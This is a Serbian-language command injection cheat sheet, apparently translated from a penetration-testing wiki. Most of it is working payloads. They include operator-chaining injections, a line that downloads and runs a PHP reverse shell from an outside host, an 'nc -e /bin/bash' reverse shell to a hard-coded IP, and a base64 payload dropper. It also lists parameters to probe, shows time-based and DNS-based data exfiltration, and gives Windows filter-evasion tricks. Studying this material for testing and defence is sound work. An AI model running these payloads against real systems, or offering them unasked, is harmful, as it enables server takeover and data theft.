Command Injection

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Šta je injekcija komandi?

Injekcija komandi omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.

Kontekst

U zavisnosti od gde se vaši podaci ubacuju, možda ćete morati da prekinete citirani kontekst (koristeći " ili ') pre komandi.

Injekcija/izvršavanje komandi

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Obilaženje Ograničenja

Ako pokušavate da izvršite arbitrarne komande unutar linux mašine biće vam zanimljivo da pročitate o ovim Obilaženjima:

Bypass Linux Restrictions

Primeri

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametri

Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sličnim RCE ranjivostima (iz link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Ekstrakcija podataka zasnovana na vremenu

Ekstrakcija podataka: karakter po karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Na osnovu alata sa https://github.com/HoLyVieR/dnsbin koji je takođe hostovan na dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online alati za proveru DNS bazirane eksfiltracije podataka:

• dnsbin.zhack.ca
• pingb.in

Zaobilaženje filtriranja

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Lista za detekciju Brute-Force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Reference

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
• https://portswigger.net/web-security/os-command-injection